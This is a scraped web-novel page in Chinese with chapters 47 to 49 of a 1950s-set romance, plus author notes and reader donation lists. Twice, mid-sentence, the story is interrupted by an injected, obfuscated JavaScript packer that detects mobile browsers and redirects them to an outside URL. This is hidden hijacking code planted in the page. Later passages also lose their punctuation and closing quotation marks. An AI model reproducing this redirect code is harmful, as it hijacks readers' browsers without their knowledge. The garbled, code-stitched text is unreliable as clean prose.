感谢灌溉营养液的小天使:小麦子啦啦啦112瓶;西斋、人面桃花104瓶;外星人秋裤88瓶;月半喵55瓶;乔50瓶;简姣、不知者40瓶;我胖林呀、你说的都对、非羊、白露降30瓶;薄29瓶;阿瓦达没有瓜28瓶;perle、Phoebe2026、33629594、韩寒涵、从容吃瓜、爱吃包子的喵、松萝共倚、墨染槿涩20瓶;阿隐、书虫18瓶;韶光明媚、smileyey、吃糖甜甜哒15瓶;青春12瓶;追连载好痛苦啊11瓶;芒果西米卢、不要受委屈!、白米、罗小妞妞、14596、九歌、螃蟹、零更新与等更新、wonderful、手心、9785、小野盛盛、元小静、里安那、心想事橙、灵z、二美啊、因为没有修改昵称呀、小小10瓶;分秒、小植元8瓶;是HyunA7瓶;香樟路1248号6瓶;啦啦啦啦、敏驼驼、三十斤河东、.泪海的盐、爱看圆圆脸、风止、什么时候发芽、scabish、市井人家、为你而生5瓶;Cloudy、gozhiyu4瓶;形意微、柏、茜嘻、38964072、多放香菜3瓶;Am、X、阳光、哦呦呦、风烟俱净、梦、竹秋、helloza、百香果控小姐姐2瓶;crystal、时闻、πππ、20521816、xiaoxiao、tianxiawukeng、我还是不是你的小可爱、非VIP用户、雾弥、涵涵妈、蟹老板的螃蟹?、温馨、鲁米茜茜、49656349、筱筱、团子的早晨、叶子猫、胖蟹、春天花花、涟漪、今天仍是等待更文中、Geronimo、追的文都不断更、李木木、芋圆儿、月月有钱花、嘀嗒嗒、缺德三公主、70836411、小丫、tingt、禾乌昂、小说是我唯一的爱、xuanxuan127、natsuki、2025年入学的研究生、然然然然然然然然、莹、看天空〆白云飘、梦幻紫蝶_小琼15、飞羽、DXX、嫣妃、豆子、球球、泥鳅鱼娃娃、线上网友小计、红糖酥饼、林三岁超可爱的、yangtt、杰子、1、喵喵摸~、柠檬的柠的檬、不出、晚来天欲雪、kimpl0913、~维E安好~、睡不着、何夕今夕、毛猫、刘文文文文文文文文文、祝余、行走的海豚、想不出名字的马小马、天气变冷了、hoshi、雨青禾、69208282、kk、傅么么、一颗故菁、两颗糖z、喵喵、37087880、墨陌、鲈鱼轻轻、可尔必思、秋秋糖、cc?1瓶; 非常感谢大家对我的支持我会继续努力的! 第 47 章 时装晚会 中苏友谊宫是全市唯一的外事宾馆,飞檐斗拱,雕梁画栋,威严又神秘。 外事宾馆的建设初衷是服务苏联专家,尽管建筑风格充满民族特色,但内里的装潢和服务却延续了苏联的习惯。 举办时装晚会的宴会厅门口,设置了一个寄存处。 按照苏联人的习惯,所有宾客在进入会场之前,都要将外衣脱下,交给工作人员寄存。 叶满枝一边排队,一边跟身边的男人感叹:“幸好还有个存衣服的地方,否则我今天就要穿着军大衣跟你跳舞了!” “军大衣有什么不好?别人想求都求不来。”吴峥嵘听出她暗戳戳的埋怨,冲前方队伍扬了扬下巴说,“前面那几个哆哆嗦嗦的,就是不好好穿衣服的下场。” “对对对,还是军代表同志有先见之明。”叶满枝好笑地用手肘拐他一下,“你快别冲人家扬下巴了,小心被人家发现!” 因着今天要参加时装晚会,她偷偷把臃肿的棉裤换成了更贴身的毛裤,外面再套一件被她改小了尺寸的绿军裤,上身效果特别好看。 结果她下午刚与吴峥嵘碰面,就因为过于整齐明显的裤线,被对方发现她只穿了一条薄毛裤。 被他拉回家,穿了件长及脚踝的军大衣,才得以重新出门。 叶满枝将两人的军大衣一起交给工作人员,拿着号码牌走进会场。 由于跟着他回家换衣服耽搁了些时间,他们入座时,市工会的领导已经结束了讲话,同时宣布时装晚会正式开始。 宴会厅中央被圈出一片空地,璀璨的灯光下,十几个青年男女穿着西服、中山装、列宁装、连衣裙、旗袍,依次走上舞台。每套衣服亮相时,都会由主持人进行详细介绍。 现场展示的时装款式丰富,妇女、工人、干部、学生几乎都能找到对应的时装。 在叶满枝的认知里,男装只有固定的几种款式,时装就约等于女装,没想到主办方居然能找出这么多男装样式。 “哈哈哈,那个男同志的毛衣怎么俏绿俏绿的?”叶满枝低声道,“回头我也给你织一件这样的,你穿上肯定比他好看!” 吴峥嵘瞥她一眼,以一种很认真的口吻说:“叶满枝同志,我不得不提醒你,10月28日,你曾说过给我织一条围 巾,11月2日,还曾放话说,等你编织技巧纯熟以后,给我织一条毛裤。11月10日,在我帮你做完煤炉子以后,你又说要给我织一副新手套。截至目前,围巾、毛裤、手套,还没见到影子,你又说要给我织一件俏绿俏绿的毛衣……” 叶满枝惊讶地睁大眼睛,望着他语塞许久,才找回自己的声音问:“你记性怎么这么好啊?” 她已经许出去这么多承诺了吗? 吴峥嵘将肩膀靠上椅背,目光晃向舞台,“所以,我到底什么时候能穿上这件俏绿俏绿的毛衣?” 听他强调了两遍俏绿俏绿的毛衣,叶满枝不由想笑,安抚道:“回去就给你安排。” 吴峥嵘不置可否地“嗯”了一声。 怕他还惦记毛衣,叶满枝指着舞台上的苏联姑娘说:“你看她们的布拉吉多好看,我今天也该穿一件裙子来的!” 吴峥嵘惜字如金地吐出两个字:“冻腿。” 两人前后左右都有观众,但叶满枝还是偷偷在他手背上摸了摸,“好啦,围巾已经在收尾了,先让你尽快戴上围巾,其他的就一样一样慢慢来吧。” 对象记性太好,她以后哄人就哄人,可不能随口许诺了。 时下的服装款式着实不多,哪怕把男装女装,成人服装和儿童服装全都展示一遍,半个小时也就差不多了。 市第三中学的女高中生和几个苏联姑娘,穿着丝绒布拉吉表演了一支环舞以后,交谊舞会终于开始了。 友谊宫的宴会厅前方,配有一支交响乐队,《蓝色多瑙河》轻盈活泼的旋律奏响后,叶满枝随着吴峥嵘在舞池里旋转,再次找到了被带飞的感觉。 “我这次的姿态有进步吗?” “还不错,但腰还是有点软。”吴峥嵘在她腰上轻带一下,“你专心看着我就好,不要左顾右盼。” “不是你说的嘛,你家人可能会来参加这次晚会,”叶满枝的视线在会场里环视着,低声问,“万一被他们看见咱俩跳舞,会不会不太好啊?” 她虽然没特意打听过,但是只从吴峥嵘的生活习惯、偶尔的只言片语,以及吴家长辈的职业推断,他们家可能不是那种观念开放的家庭。 “咱们是以结婚为前提谈恋爱的,”吴峥嵘嘴唇轻轻翕动,“只要没在舞 会上接吻,他们即使看到了也不会说什么。 叶满枝下意识抿唇,搭着他肩膀的掌心微微用力,“你看到他们啦?那我得主动过去打招呼吧? “没有,现场好几百人,哪有那么容易遇见?而且我奶奶每晚八点准时休息,哪怕她真的来参加时装晚会了,这会儿也应该回去了。 闻言,叶满枝心里陡然一松,说实话,她有点担心与吴家爷爷奶奶的碰面。 吴爷爷是大学的院长,高级知识分子。 虽然吴峥嵘也是知识分子,但军人跟学者有着本质的不同。 时下大学的极低录取率,让她对吴院长莫名敬畏。 压在心里的大石被挪走,她这棵小树苗上的所有枝丫都舒展了,整个人瞬间容光焕发,神采飞扬。 “那你陪我多跳几首曲子吧,叶满枝脚下舞步愈发轻盈,“为了跟你跳舞,我特意打扮了好久呢! 吴峥嵘终于有机会将目光下移,放到了她这件略有些修身的乳白色毛衣上。 “小叶同志今天堪称光彩照人。 叶满枝佯装不满地问:“那我以前就不漂亮啦? 吴峥嵘不想回答这种死亡问题,带着她转了两个圈。 不过,在对方的一再追问下,还是笑着打了一个比方:“以前是朵漂亮的花,今天不但漂亮,还有香味了。 叶满枝连嘴都跟他亲过,却仍是因为这句话莫名其妙感到脸热。 吴峥嵘真的闻到她身上的香味了,还是有什么隐喻啊? 入冬以后,她经常把橘子皮和苹果核扔到煤炉子上熏香气,房间里确实有些水果香。 她小小声地问:“你真能闻到香味吗? 闻言,吴峥嵘唇边跑出一丝笑意,隔了许久才“嗯 * 舞会的另一侧,吴爷爷坐在外场的座椅里,脸色不怎么好看地说:“你看那小子像什么样子?都快贴到人家姑娘身上去了? “爸,您能不能别那么老土啊?吴小姑吐槽,“您还是留过洋的呢,怎么还跟个老封建似的?交谊舞都是这么跳的,咱家峥嵘算是这些男同志里跳得最好的! 瞧小叶跳得那么高兴,她都想让侄子带她跳上几圈了。 “这会儿快七 点了要不要把他们喊过来见上一面啊?”吴小姑问。 吴奶奶眼神不太好隔着这么远的距离其实没太看清小叶的长相。 正对女儿的提议心动时吴爷爷却阻止道:“不许喊人家姑娘过来!你们若想见人家就大大方方把人请到家里去做客。这样不明不白地在外面见上一面算怎么回事?这种失礼的事我是绝对不会做的!我丢不起这个人!” “关键是峥嵘不肯把人带回来呀。”吴小姑毫不留情地戳穿他“您既然觉得失礼干嘛非要跟我们一起来参加晚会?” “我要是不来看着你你现在就该给咱们吴家丢人了!”吴爷爷掏出怀表看了眼说“远远瞧个大概就可以了时间不早咱们这就回去吧。” 吴奶奶向来信服老伴的话虽然遗憾没能近距离见一见孙子的对象但她还是起身跟了出去。 “你俩可真是的!” 吴小姑不敢让父母独自走夜路只能歇了让侄子带她跳两圈的心思提着挎包追了上去。 在寄存处排队取外衣的队伍又排成了长龙。 等吴家三人凭着手牌取到衣服时 吴小姑俯下身帮妈妈把大衣下摆的扣子系好正准备带人离开却突然被人拉住了手臂。 拦住她去路的是一个苏联女人一边往她身上比画一边叽里呱啦说了一串她听不懂的俄文。 吴小姑摇头摆手表示自己听不懂喊上父母就要离开而对方却不依不饶再次伸出手臂挡住了她的去路。 吴爷爷皱眉问:“她是不是有什么事需要求助?你喊个服务员过来帮她。” “您看她这样像是肯让我走的吗?” 排队的人群里有人懂一些俄文提醒道:“听她的意思好像是你穿错衣服了。” 吴小姑愣住语气略显慌张地说:“不可能啊这就是我的衣服!” 她怎么可能把别人的衣服穿走!这事搞不好就上升成偷窃了。 “你在这里等着”吴爷爷比闺女镇定许多“这里是外事宾馆前台有会俄文的服务员我帮你喊服务员去。” 他让老伴在这里陪闺女就准备独自下楼。 刚走出宴会厅的吴峥嵘发现这边的动静后疾步走 过来问:“小姑,怎么了? “这位苏联同志拉着我不让走,好像是说我衣服穿错了,但这就是我的大衣呀! 不用吴峥嵘开口求助,叶满枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189042|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便主动与那个苏联女人攀谈了起来。 遇到一个会说俄文的人,对方显然也很高兴,叽里呱啦地将前因后果讲了一遍。 “小姑,叶满枝随着吴峥嵘喊小姑,“这位同志的大衣跟您身上这件一模一样,她的寄存牌是69号,刚才去取衣服的时候,工作人员说衣服已经被人拿走了。正好您就站在这边,穿的衣服又是一样的,所以她觉得可能是您把她的衣服误穿走了。 吴小姑说:“你帮我问问她,她的衣服上有什么记号?在哪里买的? “她的大衣是在莫斯科买的,也是这种黑色呢子面料,绿色的毛绒领子,衣服里面有一个里兜,兜里有一些卢布。 叶满枝把对方所说,愿意将卢布送给吴小姑的话省略了。 听了她的转述,吴小姑的神色明显放松,解开大衣纽扣,让对方看了一眼内衬。 她的大衣内衬上并没有里兜。 苏联女人看清这件大衣的情况后,失望地长叹一声,情绪有些激动地询问,自己的大衣去哪了。 叶满枝与吴家几人打声招呼,先去帮国际友人寻找寄存处的服务员。 吴爷爷担心孙子追问他们出现在这里的原因,在叶满枝带着苏联人离开后,先发制人地问:“这个小叶同志的俄文水平不错,怎么不继续读大学呢? 吴峥嵘觉得他爷爷这问话,相当于何不食肉糜。 但他也没反驳什么,只是云淡风轻地说:“她本来有机会去苏联留学的,因为体检报告被人做了手脚,才错失了留学机会。要不是有这么一码事,哪轮得到我跟人家相亲? 作者有话要说 晚9点还有一更。 一百个红包,晚上见~ 感谢在2024-08-0912:17:27~2024-08-1011:59:30期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:是HyunA1个; 感谢投出地雷的小天使:425817051个; 感谢灌溉营养液的小天使:alic e104瓶;格格莁、幸运鹅74瓶;Pop3服务器73瓶;2566186450瓶;井洁41瓶;小妖的天使之城、纪年40瓶;非羊、29923604、高高飞扬飘、天上虹30瓶;不仅是浣熊28瓶;梦醒不知26瓶;72347188、charmian、爱吃包子的喵、大梨子、浪味仙子?、人间四月、外星人秋裤、!!!!20瓶;两只黄鹂16瓶;白米、dcd15瓶;么么哒、藤萝蔓蔓、徐徐徐莫庭12瓶;wonderful、49656349、晴天、苏打水、天马、闷闷、22215392、橡树声、从容吃瓜、方笺、笑笑爱土豆、Jerry、雯紫小透明、小野盛盛、Jessica、木禾、懒鱼不想翻身、泡椒笋尖、轩潼煜、落絮飞花10瓶;扑棠9瓶;绿色小精灵8瓶;是HyunA7瓶;37568319、柚子的噗噗精6瓶;碧落、MURIEL、尾巴、土豆妈妈、一只喵子、蕾**蕾、小植元、奈何、花花vic、kareN不另外加糖、沅沅、你清高你坐莲花上5瓶;钱从四面八方来4瓶;??63718905、鲸鲸惊惊惊惊3瓶;柠檬精、九三、宝贝、阳光、Am、iuv~v、zjzdoyouknow、鲥、阿沐2023、游鱼2瓶;30597907、墨陌、遥远星空、畑雒泠、千万、蒜蓉鼠条、雾弥、楼谷藕田、旌潇、胖蟹、天气变冷了、muza、每天都想暴富的小可爱、aurora、太子早日登基、tianxiawukeng、毛猫、‘早起的虫儿、被鸟吃、花璨、何夕今夕、茜yuyu、Jessie、xiaoxiao、绿色食品、~维E安好~、嘀嗒嗒、Q、可尔必思、鲁米茜茜、小砂子的深夜食堂、旋律小姐、啦啦啦、徐徐年华、赶月、今天仍是等待更文中、桃子家的阿狸、莹、喵喵、不出、刘文文文文文文文文文、濯瑶、tingt、雨革月、鮀鮀鱼子酱、梦幻紫蝶_小琼15、球球、60536178、垃圾晋江、风景旧曾谙、57089820、然然然然然然然然、halo、恣意的小白马、……、55026984、步步人、有好吃的饭吗、杰子、小丫、哇汪汪、R。、Snowy、想摆烂…、团子的早晨、yangtt、追的文都不断更、想不出名字的马小马、酸奶少68、缺德三公主、晚来天欲雪、喵喵摸~、如梦之梦、禾乌昂、涵涵妈、爱吃土豆、星空、贵宾小甜甜、柠檬的柠的檬、kimpl09131瓶; 非常感谢大家对我的支持 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第 48 章 见家长了。 叶满枝帮苏联友人解释过情况后,很快就折返了回来。 她之前听了吴峥嵘的话,以为吴家人没来,或是早就离场了,所以才伴着交响乐队的配乐,畅快地跳了好几支曲子。 不料临到退场时,竟然在寄存处与人家碰上了。 她也不知道能跟这样的大知识分子聊些什么,在吴峥嵘的介绍下喊了爷爷、奶奶和小姑以后,就腼腆地站在旁边不吱声了。 吴小姑拉着她的手说:“小叶,刚才幸好有你帮忙,没想到你小小年纪,俄文水平居然这么高,我看你说得好像比俄语学院那些大学生还好呢!” 叶满枝谦虚道:“我小时候读的是苏联侨民会幼稚园,有点童子功,除了口语还行,其他的可不如大学生。” “难怪呢!” 吴小姑对苏联侨民会的幼稚园有所耳闻,保教主任和教师都是苏联人,解放前全俄文教学,解放后由政府接管了,也是市里唯一的双语教学幼儿园,这几年一直很有名气。 吴峥嵘看出叶满枝的紧张,看了眼手表说:“小姑,今天时间挺晚了,你们先回去休息吧。小叶家里有门禁,八点钟必须回家,我先把她送回去。” “那你先送小叶姑娘回去吧。” 离得近了,吴奶奶终于看清了叶满枝的长相,柔和秀气的脸上带着浅笑,亭亭玉立,文静乖巧,确实是个漂亮丫头。 她心里挺满意,听了孙子的话,又觉得对方家教良好。 吴奶奶将一只翡翠镯子从腕上褪下来,戴到了叶满枝的手上。 “第一次见面比较仓促,没什么准备,这镯子你戴着玩吧。找个时间让峥嵘带你来家里玩,到时候我再送你个更好的。” 叶满枝不敢收这么贵重的东西,又怕推让间把镯子摔碎了,手腕僵在半空有些傻眼。 吴峥嵘帮她把袖子放下来盖住镯子,“这是奶奶给的见面礼,你放心收着吧。” 他奶平时莳花弄草,经常搬运花盆,一般不带这种易碎的首饰。 八成是为了今天见面特意准备的见面礼。 他瞟了眼端着架子的吴院长,若不是闹出了苏联人丢衣服这一茬,老太太这番准备肯定要白费功夫的。 叶满枝乖巧地说了声:“谢谢奶奶。” 既然吴峥嵘让她收着,那她就收着好了,反正吴峥嵘送过她那么多东西,她全都不客气地收下了。 大不了等她给吴峥嵘织完围巾、手套、毛衣毛裤以后,再给吴奶奶也织点什么吧。 相比于严肃背着手的吴院长,这位梳着利落发髻,穿着棉布旗袍,还肯给她送见面礼的老太太,真是亲切又可爱呀! 吴小姑和吴奶奶拉着她说了好一会儿话,叶满枝面对女性长辈时,心里已经很放松了。 可是,面对吴爷爷时,她还是忐忑的。 除了打招呼的时候,说过一句话,吴院长一直沉默威严地站在一旁,像是在审视观察她的一举一动。 直到双方在门口道别,她与吴爷爷说再见时,对方才放缓语气说:“你留苏体检的事情我已经听峥嵘说了,这件事我会帮你留意一下。你还年轻,没能去苏联留学固然可惜,但也不要轻易放弃学习,有机会还是要继续学习进步的。” 叶满枝心说,该报的仇她已经报了,徐映雪的留学资格被取消,周牧的留学名额也被他自己作没了,您可千万别帮我留意啦! 但其中的复杂关系不太好解释,她只能点头说:“爷爷,我在街道办工作,单位已经推荐我去市委党校组织的基层干部进修班学习了,每周三晚上和周日下午都会去党校上课。” 吴小姑不想听吴院长讲大道理,笑着问:“小叶既要工作,又要兼顾学习,平时挺忙吧?” “还行,前阵子比较清闲,最近街道刚开了一个煤炉厂,稍微忙了一点。”叶满枝瞅瞅默不作声的吴峥嵘,补充说,“我们生产的新型蜂窝煤炉子,还是峥嵘设计制作的呢,居民反响特别好!” 闻言,吴爷爷望向自家孙子的表情实在是一言难尽。 他想说说孙子,不要玩物丧志,没事弄什么煤炉子,有那个时间,还不如多研究液压起重臂项目。 可是,想到这孙子26了还没娶到媳妇。 他又觉得不该阻止孙子献殷勤,无论如何先把媳妇娶回来再说。 双方在门口分别,等人走远后,吴小姑问:“爸,您觉得这姑娘怎么样?还挺好的吧?” “只见了一面能看出什么?瞧着倒是挺文静的,话也不多,就是文化程度差了一些。” 吴小 姑咋舌:“高中还差呀?我也是女子中学毕业的。 “你那会儿时局动荡,能读到中学已经不错了。现在国家百废待兴,需要更多高级人才,高中只能学点皮毛,那点知识够干什么的? * 知书达理又温柔贤惠的小叶同志,一回家就跑回房间,欣赏起刚收到的见面礼。 她见识有限,只知道金银值钱,翡翠镯子价值几何,她还真不清楚。 唯一可以确定的是,这镯子应该挺贵的。 梨花一直在她身边咪咪叫,她没敢把镯子取下来,就那样戴在腕子上欣赏。 欣赏够了,她才扭头问:“梨花,你今天总叫什么呀?饿啦? 梨花是楼里有名的浪子,白天出门混饭吃,晚上回家睡觉,特别能给家里节省口粮。 不过,到了冬天以后,大家都关门关窗,非常不便于梨花出门觅食,它最近好像有点瘦了。 她将梨花的肚皮翻过来,详细检查了一遍,确定它没啥大毛病,只是下巴上沾了些不明液体,便放下心来,不再管它了。 她这边刚把小猫松开,门外就传来一声哭嚎。 吓得她跟梨花同时炸毛。 她赶紧趿拉着拖鞋出门问:“麦多,你哭什么呢? “呜呜呜,我要喝牛奶! 沈亮妹在儿子的屁股上拍了两巴掌,“你就那么馋?那牛奶是你的吗,你就嚷嚷着喝牛奶? 黄黎半靠在房门上,闲闲地说:“你不用指桑骂槐,我每天都给麦多留半碗牛奶,他今天没喝到,肯定是被其他人喝了。 叶家没有喝牛奶的习惯,但黄黎觉得应该多吃肉蛋奶补充营养,肉蛋需要凭票购买,牛奶却是只要有钱就能买到的。 所以,入冬以后,她以补钙为由,每天去奶站打一斤牛奶,回来煮一煮再喝。 她喝一大碗,分给小朋友麦多一小碗,家里没人有意见。 今天那小碗牛奶不知被谁偷喝了,沈亮妹又借着打孩子的机会,阴阳怪气起来。 沈亮妹拉着脸说:“嫂子,咱家除了你,没人爱喝牛奶,谁没事会偷喝孩子的东西?你要是不想给孩子 留就直说…… 黄黎打断道:“行,那我以后就不给他留了,省得没喝到又落埋怨。 “…… 叶满枝扑哧笑出声,赶紧将脑袋缩回去,蹑手蹑脚地将房门关上了。 黄大仙对付四嫂还是有一套的,哈哈。 她趴在门上笑了一会儿,然后瞅准犯罪嫌疑猫,将梨花抱了过来。 “是不是你把麦多的牛奶喝了?叶满枝在小猫的下巴上擦了一把,果然擦到一手湿乎乎的牛奶。 叶梨花严重影响了家庭和睦,她这个主人还是要负一定责任的。 所以,次日上班前,她跟黄大仙商量,请她以后买牛奶的时候多买一斤。 “你昨天是不是听到我们吵架了?黄黎摆手说,“你四嫂占便宜没够,不能总惯着她。 “我又不是为了她,牛奶也不是给她喝的。主要是我也想喝牛奶,另外留点给麦多。 四嫂在话剧团的学徒工结束了,人家话剧团没有招工编制,这是早就说好的。 她能在那里学几个月的白案手艺已经很不错了。 不过,由奢入俭难,四嫂从话剧团离开以后,一时找不到工作,无法适应家庭主妇的生活。 这几天的脾气特别暴躁,点火就着。 叶满枝怕她在家惹常月娥心烦,所以主动找到四嫂问:“嫂子,煤炉厂需要推销员,卖出一个煤炉子就给2分钱的奖金,你想不想干? 沈亮妹问:“不是5分钱吗? “那是给人家车夫的价格,人家有运输成本。 “车夫咋了?只要能把炉子卖出去就行呗,沈亮妹跟小姑子讨价还价,“就按照5分钱算吧,我虽然没有车,但走路也费腿啊! 叶满枝想了想,觉得她说得有一定道理。 在商店里等客上门的奖励2分,主动出门寻找客源的,都应该奖励5分。 “行,那就给你按照5分钱计算,你今天就开始推销吧,赚了钱都算你的。 叶满枝给四嫂临时找了份活计,便溜溜达达上班去了。 每次过完愉快的周末,尤其是跟吴峥嵘一起过完愉快的周末以后,她周一都不想上班。 煤炉厂那边没什么急事,销售情况虽然不温不火,但 也能保证每天走货,一点点减少库存积压。 叶满枝心里没啥压力,就在办公室里织起了围巾,准备织完围巾,尽快给吴峥嵘安排那件俏绿俏绿的毛衣。 嘿嘿。 她又跟凤姨学了两个新花样,到时候可以实践一下。 除了给居民开了两封介绍信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254824|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶满枝几乎一上午都在搞编织。 中午临近午休时,薛巧儿突然来了街道办,在门口喊叶满枝的名字。 “巧儿,你进来坐吧,外面怪冷的。” “小叶干部,我跟你说点事,就得赶紧干活去!” 叶满枝放下毛衣针,掀开门帘子跟她出门。 “出什么事了?” “不是我的事,”薛巧儿低声问,“小叶干部,你现在是不是管着那个煤炉子厂呢?” “对,我还请了你以前车队的同事,帮我代销煤炉子呢!” 薛巧儿犹豫了一阵,凑近她说:“车队里有人自己做了煤炉子卖给别人,说是你们煤炉厂的产品,一个炉子才一块五。” 叶满枝心里咯噔了一下,“他们卖得多吗?” “具体有多少我也不清楚,我也是听别人说的,卖几个煤炉子,一个月都不用拉车了。” “行,我知道了,”叶满枝拉着她的手说,“巧儿,谢谢你啊!” “没事我先走了,你别跟人说是我告诉你的就行。” 叶满枝将她送走了,琢磨了一下午,临近下班的时候,将这个情况告诉了穆主任和张勤简。 张勤简好似被人从兜里抢了钱,沉着脸说:“咱们的炉子材料简单,制作也简单,我早就料到会有人模仿。如果是居民给自己家里制作,其实也没什么。关键是有人打着咱们厂和供销社的旗号,高价倒卖自制煤炉子,这个事要跟工商那边说一说的。” 穆兰蹙眉说:“个人私下制作不是最麻烦的,就怕有其他厂跟风生产这种煤炉子,抢占咱们的市场,如果咱们的销路打不开,这种小厂可能活不到开春就倒闭了。” 光明街上不是没有倒闭的工厂。 他们成功的经验不多,但失败的经验可是很丰富的。 “小叶,你之后有什么打算?” 叶满枝心里有点乱,一时也想不到太好的办法。 上次吴峥嵘给她出过主意以后 但暂时还没有报纸刊登。 不过吴峥嵘的思路也能给她提个醒他们似乎不能将目光只局限在光明街这一带。 “主任咱们能不能联系一下市商业局或者煤炭公司啊?请他们自上而下地推广蜂窝煤炉子他们能直接将商品下达到各门市部和供销社。” 要是能让上面的领导说句话那销路真是瞬间就打开了。 作者有话要说 一百个红包明天见~ 感谢在2024-08-1011:59:30~2024-08-1021:00:49期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:兔子警官2个;254419171个; 感谢灌溉营养液的小天使:mimi60瓶;风风风50瓶;贴贴、暴瘦50斤41瓶;初雪36瓶;小野盛盛35瓶;大玉米34瓶;拽拽30瓶;六色桦、跑圈圈、兔子、_急景凋年_、咕噜啾、花伦丽丽子、48167480、718、47473392、2566186420瓶;梅、韶光明媚11瓶;不要受委屈!、小舟、狸仔、蕾蕾的书库、元小静、罗小妞妞、灵z、云开清风、皮皮鲁、薄荷绿汁、南溪、Liz、借钱包男高、匪漪、里安那10瓶;小植元、沐澄8瓶;卡卡困四了7瓶;花花vic、姜姜姜姜、乔巴渣、我有猫啦!、十二划、温酒、沅沅、绵羊啊绵羊、453409145瓶;2333、haoqi、瓶;好好爱自己、九公子、大女孩菜菜、今天也很困3瓶;什么时候发芽、斯维特、伏眸、22672002、宝贝、天天熬夜怎么办、iuv~v、风烟俱净2瓶;可尔必思、bingmay、查查、喵喵、追的文都不断更、……、风太大、49656349、七七、胖蟹、R。、李木木、爱看书的鱼、鲈鱼轻轻、71889115、憨憨、不出、30597907、34376040、πππ、明明、春天花花、酸奶少68、啦啦啦啦、糯米团子、雾弥、淙淙、想不出名字的马小马、往往、球球、syt、柠檬的柠的檬、墨陌、禾乌昂、西瓜、kimpl0913、星空、毛猫、旋律小姐、云烁、徐徐徐莫庭、jialuoyou、euphoria、千与千寻、……、57089820、快快落落、‘早起的虫儿、被鸟吃、源权、tingt、影牙、鲁米茜茜、章鱼丸子、一一、月光下的芭蕉树、Happs、叽里咕噜、yangtt、56204360、哦呦呦、晨熙麻麻、贵宾小甜甜、呜咪、飞羽、星河白鹭、杰子、27589763、D、60536178、喵喵喵、慕斯蛋糕、时闻、xiaoxiao1瓶; 非常感谢大家对我的支持我会继续努力的! 第 49 章 小叶勇闯全市企业... 叶满枝在领导和同事面前尚能保持淡定,但是离开办公室以后,她就绷不住了。 居民们做几个家庭自用煤炉子,其实不算什么大事,她根本不在乎。 可是,那些人不但自制了煤炉子,竟然还把炉子卖出去牟利了! 这就让她很难受了! “明明煤炉子是你设计的,工厂是我筹建起来的,结果咱俩一分钱没赚到,反而便宜了别人,让外人用你的煤炉子赚了钱!光是想想我就怄得慌。” 叶满枝快被那些人气死啦! 她越想越生气,气着气着就被气哭了。 吴峥嵘错愕地停下动作,不明白她怎么突然就哭起了鼻子。 “叶来芽,这有什么可哭的?” “我是被气的!”叶满枝用手背抹掉眼泪,嘟囔着强调,“是被气哭的!” 吴峥嵘:“……” 居然真的有人会被气哭? “我都这么伤心了,你怎么还在笑?”叶满枝本就被气得够呛,无意间瞥到他竟然在偷笑,顿时被气胖了三斤。 “你不是被气哭的吗?伤心什么?” 吴峥嵘没在书房里找到手绢,只好出去拿了条毛巾给她擦眼泪。 “那煤炉子上又没写我的名字,东西生产出来,被人模仿是很正常的事。有的工厂生产出新产品以后,还要主动去其他工厂指导人家一起生产,要是都像你这样想,大家早就被气得投胎转世好几回了。” 叶满枝在书房里转圈圈,“教给其他国营单位,那是支援国家建设,说出去还挺光荣的。可是他们私自生产煤炉子,再拿出去以低价倒卖,是肥了私人腰包!这是损公肥私!” 她自己都没用煤炉子赚过钱,凭什么让别人先肥了腰包啊! 吴峥嵘阻止她继续转圈,将人拉过来抱坐到腿上,“你冷静一点,不要做情绪的奴隶!” “谁做情绪的奴隶了?我就是生气。” 吴峥嵘帮她抹干净腮边的眼泪,笑问:“你不会是因为自己没赚到钱,才被气成这样的吧?” “对啊!”叶满枝在他怀里找了一个舒服的位置窝着,索性大方承认,“我就是见不得别人用你的点子赚钱!我自己没能用煤炉子牟利,别人也不许赚!你把点子给我用,是支持我的工 作。我把点子拿出来建厂往大了说是支援国家建设往小了说是想让街道办多截留一些利润当经费。当然了也是想让领导看到我的工作能力。” “叶满枝同志你现在是一名干部。” “干部怎么了?” 吴峥嵘握上她的手指摩挲“你只是一名刚参加工作的基层年轻干部。支援国家建设、给单位截留经费都不是目前的你需要操心的。办这个厂最切实的好处是让领导看到并认可你的工作能力这么说你同意吧?” “嗯差不多吧。” “你是干部不可能私下自制煤炉子赚钱别人靠这个赚钱你又制止不了。与其把自己气哭不如利用这件事给自己谋点好处。” 叶满枝从他怀里扬起脑袋盯着他长睫毛下的两片阴影瞅了一会儿忍不住在他下巴上啾了一下。 “能给我谋什么好处啊?” 吴峥嵘垂眸与她对视目光在她唇上流连一阵 当然如果工厂因此倒闭了就是另一个结局了。 要哄好被气哭的小叶干部他只能先挑拣好听的说。 “这种煤炉子技术含量极低只有设计思路值点钱。成品面向市场以后被模仿是迟早的事。这样一个小厂你不能指望在它身上得到太多。先抓主要矛盾吧在你兼任厂长的时候让领导认可你的个人能力其他的就别想了。” 叶满枝抬头望向他被泪水洗过的眼眸乌黑润泽“军代表同志你好会安慰人哦如果不在656当军代表了是不是可以去军区当个政委啊?” 